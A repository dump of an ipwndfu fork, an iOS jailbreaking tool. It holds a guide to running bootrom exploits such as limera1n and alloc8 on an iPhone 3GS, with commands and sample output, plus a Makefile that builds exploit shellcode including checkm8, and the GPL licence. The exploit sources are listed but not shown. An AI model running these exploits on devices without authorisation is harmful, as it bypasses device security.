Repository: LinusHenze/ipwndfu_public Branch: master Commit: 56dd31eab545 Files: 55 Total size: 416.9 KB Directory structure: gitextract_jeow6lyw/ ├── .gitignore ├── JAILBREAK-GUIDE.md ├── LICENSE ├── Makefile ├── README.md ├── SHAtter.py ├── aes-keys/ │ └── S5L8920-firmware ├── alloc8.py ├── checkm8.py ├── device_platform.py ├── dfu.py ├── dfuexec.py ├── ibootpatcher ├── image3.py ├── image3_24Kpwn.py ├── ipwndfu ├── ipwnrecovery ├── libusbfinder/ │ └── __init__.py ├── limera1n.py ├── nor-backups/ │ └── README ├── nor.py ├── recovery.py ├── rmsigchks.py ├── rmsigchks_t8015.py ├── src/ │ ├── 24Kpwn-shellcode.S │ ├── SHAtter-shellcode.S │ ├── alloc8-shellcode.S │ ├── checkm8_arm64.S │ ├── checkm8_armv7.S │ ├── ibss-flash-nor-shellcode.S │ ├── limera1n-shellcode.S │ ├── steaks4uce-shellcode.S │ ├── t8010_t8011_disable_wxn_arm64.S │ ├── usb_0xA1_2_arm64.S │ └── usb_0xA1_2_armv7.S ├── steaks4uce.py ├── usb/ │ ├── ACKNOWLEDGEMENTS │ ├── LICENSE │ ├── README.rst │ ├── __init__.py │ ├── _debug.py │ ├── _interop.py │ ├── _lookup.py │ ├── _objfinalizer.py │ ├── backend/ │ │ ├── __init__.py │ │ ├── libusb0.py │ │ ├── libusb1.py │ │ └── openusb.py │ ├── control.py │ ├── core.py │ ├── legacy.py │ ├── libloader.py │ └── util.py ├── usbexec.py └── utilities.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ *.pyc nor-backups/nor-* libusbfinder/libusb-* SecureROM-* n88ap-iBSS-4.3.5.img3 *.ipsw ================================================ FILE: JAILBREAK-GUIDE.md ================================================ # Jailbreak guide for iPhone 3GS (new bootrom) ### Steps 1. Backup your data. Everything will be removed from your phone as it is a **full** restore. 2. [Generate a custom 24Kpwn IPSW for iPhone 3GS (old bootrom)](#how-to-create-a-24kpwn-ipsw). 3. [Restore to this custom IPSW on your iPhone 3GS (new bootrom)](#how-to-restore-to-a-custom-ipsw). 4. After restore is complete, your phone will connect back to your computer in DFU Mode. The screen will be black. This is expected. 24Kpwn exploit does not work on iPhone 3GS (new bootrom). 5. Use ipwndfu to put your device into pwned DFU Mode: ``` $ ./ipwndfu -p *** based on limera1n exploit (heap overflow) by geohot *** Found: CPID:8920 CPRV:15 CPFM:03 SCEP:03 BDID:00 ECID:XXXXXXXXXXXXXXXX SRTG:[iBoot-359.3.2] Device is now in pwned DFU Mode. ``` 6. Once in pwned DFU Mode, use the -x flag to install the alloc8 exploit. This step will replace 24Kpwn exploit with alloc8. ``` $ ./ipwndfu -x Installing alloc8 exploit to NOR. Dumping NOR, part 1/8. Dumping NOR, part 2/8. Dumping NOR, part 3/8. Dumping NOR, part 4/8. Dumping NOR, part 5/8. Dumping NOR, part 6/8. Dumping NOR, part 7/8. Dumping NOR, part 8/8. NOR backed up to file: nor-backups/nor-XXXXXXXXXXXXXXXX-20170409-224258.dump Sending iBSS. Waiting for iBSS to enter Recovery Mode. Sending iBSS payload to flash NOR. Sending run command. If screen is not red, NOR was flashed successfully and device will reboot. ``` #### Notes: * Installation takes about 30 seconds. Once NOR is being flashed, the screen will be green for about 10 seconds, and then your phone will reboot. * If there are any errors before the screen turned green, it is safe to try again. * If the screen turns red, something went wrong while your phone was being flashed. Trying again probably won't help. * If there are no issues, the phone will reboot and automatically boot into iOS. ### 3 second delay during boot when using a phone jailbroken with alloc8 alloc8 exploit takes about 3 seconds to run. When your phone is off, to turn it on you will need to keep holding the Power button for at least 3 seconds, or your phone will not turn on. This might be because LLB protects against accidental presses of the Power button by shutting down the phone if the power button is not being held anymore. Without an exploit it takes less than a second before this check happens, but with alloc8 exploit it will happen after about 3 seconds. It might be possible to change this behavior by patching LLB. If your phone enters deep sleep, there will be a 3 second delay before it wakes up. This can be fixed if you disable deep sleep with a tweak from Cydia, but your phone's battery life will decrease. ### Where to download older IPSWs Always download IPSWs directly from Apple, because IPSWs from other sites could be infected with malware. There is a trusted site where you can find legitimate Apple download links for older IPSW files: https://ipsw.me/ ### How to create a 24Kpwn IPSW | iOS version | Tool | |-------------|-------------------------------------------------------------------------------------------------| | iOS 3.1 | [PwnageTool 3.1.3](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_3.1.3.dmg) | | iOS 3.1.2 | [PwnageTool 3.1.5](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_3.1.5.dmg) | | iOS 3.1.3 | [PwnageTool 3.1.5](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_3.1.5.dmg) | | iOS 4.0 | [PwnageTool 4.01](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_4.01.dmg) | | iOS 4.3.3 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) | | iOS 5.0 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) | | iOS 5.0.1 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) | | iOS 5.1 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) | | iOS 5.1.1 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) | #### Notes on using redsn0w 0.9.15b3 ``` Q: Will this custom IPSW be used on a newer (fixed) version of the iPhone3GS? A: No ``` You must answer No to create a 24Kpwn IPSW using redsn0w. If you did this correctly, the name of the custom IPSW from redsn0w will start with ```NO_BB_OLDROM_iPhone2,1```. ### Compatibility with older iOS versions Newer phones might not support some older versions of iOS. You cannot brick your phone by attempting to restore an older version of iOS, so it might be worth it to try anyway. If iTunes restore fails with Error 28, the hardware of your phone is not compatible with that version of iOS. | Manufactured | Error 28 | Success | |--------------|------------|------------| | Week 38 2010 | N/A | 3.1+ | | Week 48 2010 | N/A | 3.1+ | | Week 3 2011 | 3.x | 4.3.3+ | | Week 14 2011 | 3.x | 4.0+ | | Week 23 2011 | N/A | 3.1.2+ | | Week 29 2011 | 3.x | 4.0+ | | Week 36 2011 | 3.x | 4.0+ | | Week 26 2012 | 3.x, 4.x | 5.0+ | You can find the week and year of manufacture by looking at the serial number of your phone. If your phone is from 2011 or 2012, help me expand this list and let me what versions worked or didn't work. ### Decoding iPhone 3GS serial number ``` Serial number: AABCCDDDEE AA = Device ID B = 2009=9, 2010=0, 2011=1, 2012=2 CC = Week of production DDD = Unique ID EE = Color ``` ### How to restore to a custom IPSW 1. Enter DFU Mode: https://www.theiphonewiki.com/wiki/DFU_Mode 2. Run exploit to put your phone into pwned DFU Mode. You can use `./ipwndfu -p`. 3. Any version of iTunes should work. In iTunes, hold Option (or SHIFT if using Windows) and click Restore. You should be prompted to choose a file. Choose your custom IPSW. ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. {one line to give the program's name and a brief idea of what it does.} Copyright (C) {year} {name of author} This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: {project} Copyright (C) {year} {fullname} This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: Makefile ================================================ all: armv6 armv7 arm64 armv6: arm-none-eabi-as -march=armv6 -mthumb --fatal-warnings -o bin/steaks4uce-shellcode.o src/steaks4uce-shellcode.S arm-none-eabi-objcopy -O binary bin/steaks4uce-shellcode.o bin/steaks4uce-shellcode.bin rm bin/steaks4uce-shellcode.o armv7: arm-none-eabi-as -mthumb --fatal-warnings -o bin/limera1n-shellcode.o src/limera1n-shellcode.S arm-none-eabi-objcopy -O binary bin/limera1n-shellcode.o bin/limera1n-shellcode.bin rm bin/limera1n-shellcode.o arm-none-eabi-as -mthumb --fatal-warnings -o bin/SHAtter-shellcode.o src/SHAtter-shellcode.S arm-none-eabi-objcopy -O binary bin/SHAtter-shellcode.o bin/SHAtter-shellcode.bin rm bin/SHAtter-shellcode.o arm-none-eabi-as -mthumb --fatal-warnings -o bin/24Kpwn-shellcode.o src/24Kpwn-shellcode.S arm-none-eabi-objcopy -O binary bin/24Kpwn-shellcode.o bin/24Kpwn-shellcode.bin rm bin/24Kpwn-shellcode.o arm-none-eabi-as -mthumb --fatal-warnings -o bin/alloc8-shellcode.o src/alloc8-shellcode.S arm-none-eabi-objcopy -O binary bin/alloc8-shellcode.o bin/alloc8-shellcode.bin rm bin/alloc8-shellcode.o arm-none-eabi-as -mthumb --fatal-warnings -o bin/ibss-flash-nor-shellcode.o src/ibss-flash-nor-shellcode.S arm-none-eabi-objcopy -O binary bin/ibss-flash-nor-shellcode.o bin/ibss-flash-nor-shellcode.bin rm bin/ibss-flash-nor-shellcode.o arm-none-eabi-as -mthumb --fatal-warnings -o bin/usb_0xA1_2_armv7.o src/usb_0xA1_2_armv7.S arm-none-eabi-objcopy -O binary bin/usb_0xA1_2_armv7.o bin/usb_0xA1_2_armv7.bin rm bin/usb_0xA1_2_armv7.o arm-none-eabi-as -mthumb --fatal-warnings -o bin/checkm8_armv7.o src/checkm8_armv7.S arm-none-eabi-objcopy -O binary bin/checkm8_armv7.o bin/checkm8_armv7.bin rm bin/checkm8_armv7.o arm64: xcrun -sdk iphoneos clang src/usb_0xA1_2_arm64.S -target arm64-apple-darwin -Wall -o bin/usb_0xA1_2_arm64.o gobjcopy -O binary -j .text bin/usb_0xA1_2_arm64.o bin/usb_0xA1_2_arm64.bin rm bin/usb_0xA1_2_arm64.o xcrun -sdk iphoneos clang src/checkm8_arm64.S -target arm64-apple-darwin -Wall -o bin/checkm8_arm64.o gobjcopy -O binary -j .text bin/checkm8_arm64.o bin/checkm8_arm64.bin rm bin/checkm8_arm64.o xcrun -sdk iphoneos clang src/t8010_t8011_disable_wxn_arm64.S -target arm64-apple-darwin -Wall -o bin/t8010_t8011_disable_wxn_arm64.o gobjcopy -O binary -j .text bin/t8010_t8011_disable_wxn_arm64.o bin/t8010_t8011_disable_wxn_arm64.bin rm bin/t8010_t8011_disable_wxn_arm64.o ================================================ FILE: README.md ================================================ ![](repo/ipwndfu.png) # Open-source jailbreaking tool for many iOS devices **Read [disclaimer](#disclaimer) before using this software.* ## About this fork * This fork allows you to load img4 images (e.g. 